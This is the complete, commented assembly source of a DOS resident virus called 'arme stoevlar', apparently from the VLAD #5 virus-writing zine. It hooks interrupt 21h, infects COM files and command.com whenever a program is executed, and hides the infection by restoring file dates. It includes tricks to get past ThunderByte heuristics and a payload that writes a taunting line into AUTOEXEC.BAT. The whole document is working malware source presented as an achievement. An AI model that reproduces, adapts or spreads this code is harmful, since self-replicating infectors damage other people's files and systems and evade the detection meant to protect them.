;
; "arme stoevlar" by Metabolis/VLAD
; army boots.
;
; Features.
; - tsr, infects on execute (4bh)
; - can infect command.com
; - won't infect exe files
; - won't infect com files with MZ
; - infects files with any attributes
; - restores file date/time
; - won't infect large com files (64k)
; - won't infect files <= 1024 bytes
; - payload will write this quote to echo in autoexec.bat if a random
; number grabbed = sweden's country code. (not quite random.. but still)
; "din mamma har paa sig arme stoevlar!"
; (your mum wears army boots!)
;
; Thanks to Qark and Dark Angel for help with the tsr code, Quantum
; for sitting and debugging it while i was coding it (and making a
; general nuisance of himself too i might add). Also thanks to Antigen
; and Rhince for helping with the optimization, they shed many a byte ;)
; Oh, and thanks to twl for the swedish insights on life the universe and
; everything. (heh)
org 0 ; org 0 so no delta messing
; required in tsr part.
start:
db 90h,90h,90h ; stub that gets overwritten.
startcode:
call $+3 ; this will bypass some
next: int 3h ; heuristics in thunderbyte
pop bp ; while still getting the
sub bp, offset next ; delta offset.
lea si, [bp+offset first3] ; move the original 3 bytes
mov di, 100h ; of the infectee to 100h.
cld
movsw
movsb
xchg si,bp ; put delta offset in si.
payload_check:
in al,40h ; grab a rand number in al
cmp al,46 ; +46 = sweden's country code
je payload ; equal? mess with autoexec.
jmp check_res
auto db 'C:\AUTOEXEC.BAT',00h
message db 0dh,0ah,'@ECHO din mamma har paa sig arme stoevlar!'
payload:
mov ax,3D01h ; now open file with write
lea dx,[si+offset auto] ; axs, if it can't be done
int 21h ; load virus.
jc check_res
xchg bx,ax ; put file handle in bx
call lseek_end
mov cx,44 ; write the message string
mov ah,40h ; into c:\autoexec.bat
lea dx,[si+offset message]
int 21h
mov ah,3eh ; close file with handle
int 21h ; in bx.
check_res:
mov ax,0f00dh ; check for previous
int 21h ; residency.
cmp cx,0f00dh
je no_thanks
get_mcb:
mov ax,ds
dec ax
mov ds,ax ; DS=MCB segment
xor di,di
mov es,di ; es=0=vector table segment
cmp byte ptr ds:[di],'Z' ; check for a Z block
jne no_thanks
mov bx, 84h ; 21h*4 - int 21 address
sub word ptr ds:[di+3], (endcode-start+15)/16+1 ; allocate
sub word ptr ds:[di+12h],(endcode-start+15)/16+1 ; allocate
mov ax, word ptr es:[bx] ; get int 21 ip
mov word ptr [si+bx+(orig_int21_offset-84h+16)],ax ; save it
mov ax, word ptr es:[bx+2] ; get int 21 cs
mov word ptr [si+bx+(orig_int21_segment-84h+16)],ax ; save it
mov ax, word ptr ds:[di+12h] ; es=virus segment in mem
mov es,ax
mov byte ptr ds:[di],'M' ; time to set our own mcb
mov byte ptr es:[di],'Z'
mov word ptr es:[di+1],8
mov word ptr es:[di+3],(endcode-start+15)/16
inc ax
mov es,ax
push cs
pop ds
mov cx,offset endcode
rep movsb ; move our virus into memory
mov ds,cx ; ds=cx=0
mov word ptr ds:[bx],offset int21handler ;set int 21
mov word ptr ds:[bx+2],es
no_thanks:
push cs
pop ds ; restore segment registers
push cs
pop es
mov ax, 0ffh ; this will execute the
inc ax ; program as normal and
jmp ax ; avoid heuristics.
int21handler proc far
cmp ax,0f00dh ; residency check?
jnz notcheck ; nope, let's infect sumfin.
xchg cx,ax ; return f00d in cx
iret
notcheck:
cmp ah,4bh ; execute?
je executing
go_int:
db 0eah
orig_int21_offset dw 0 ; original int21h offset
orig_int21_segment dw 0 ; "" segment.
int21handler endp
executing:
push ax ; at this point the filename
push bx ; will be in ds:dx btw.
push cx
push dx ; push all the registers that
push di ; i'll be using in the
push ds ; following code.
push es
push ds ; program which dos is
pop es ; executing has an extension
mov ax,4300h
int 21h
push cx ; save attributes
mov ax,4301h ; set the file's attributes
push ax
xor cx,cx ; to nothing.
int 21h
mov ax,3D02h ; now open file with read
int 21h ; and write axs, if it can't
jc popall ; be done, return.
xchg bx,ax ; put file handle in bx
push cs ; move code segment to ours
pop ds ; rather than the infectee.
mov dx,offset first3 ; read the first 3 bytes from
mov cx,3 ; the file into first3.
mov ah,03fh
int 21h
mov ax,word ptr [offset first3] ; mov the first two bytes of
add al,ah ; the file into cx, now add
cmp al,167 ; them and check if they equal
je close_file ; to MZ (167)
call lseek_end ; move file pointer to eof
cmp ax,0fd00h ; don't infect files that
ja close_file ; are too close to 64k
cmp ax,1024 ; don't infect files that
jbe close_file ; are <= 1024 bytes
sub ax,offset endcode ; subtract the virus length
cmp word ptr [first3+1],ax ; see if jump is to virus
je close_file ; file already infected
add ax,endcode-startcode ; add on to know where to
mov word ptr [infjump+1],ax ; jump to and fix it up
mov ax,4200h ; lseek to beginning of file
call lseek_end+3
mov ax,5700h ; get file date and time
int 21h
push dx ; push date/time for use
push cx ; in restoring later.
mov cx,3 ; write 3 bytes to file
mov ah,40h ; (the new jump to the
mov dx,offset infjump ; virus)
int 21h
call lseek_end ; move to the end of the file
mov cx,endcode-startcode ; write the virus
mov ah,40h ; to the end of the
mov dx,offset startcode ; file
int 21h
pop cx ; pop the file date/time
pop dx ; back into cx and dx
mov ax,5701h ; write the file/date to
int 21h ; the file.
close_file:
mov ah,3eh ; close file with handle
int 21h ; in bx.
popall:
pop ax ; restore file attrs and 4301h
pop cx
pop es ; fix up all the regs
pop ds ; that we messed with
pop di ; before entering the
pop dx ; infection procedure.
int 21h ; write old attrs to file.
pop cx
pop bx
pop ax
jmp go_int ; execute original int21h
lseek_end:
mov ax,4202h ; get to the end
cwd ; of the file (xor dx,dx)
xor cx,cx
int 21h
ret
author db 'Metabolis/VLAD',00h ; won't bother with name ;)
infjump db 0e9h,00h,00h ; new first 3 bytes
first3 db 0cdh,20h,00h ; infectee's original 3 bytes
endcode:
; This is my first TSR virus, and I'm not really too worried about
; the heuristics it triggers (too many to mention) at the moment.
; Perhaps in my next one we'll see what we can do ;)
;
- VLAD #5 INDEX -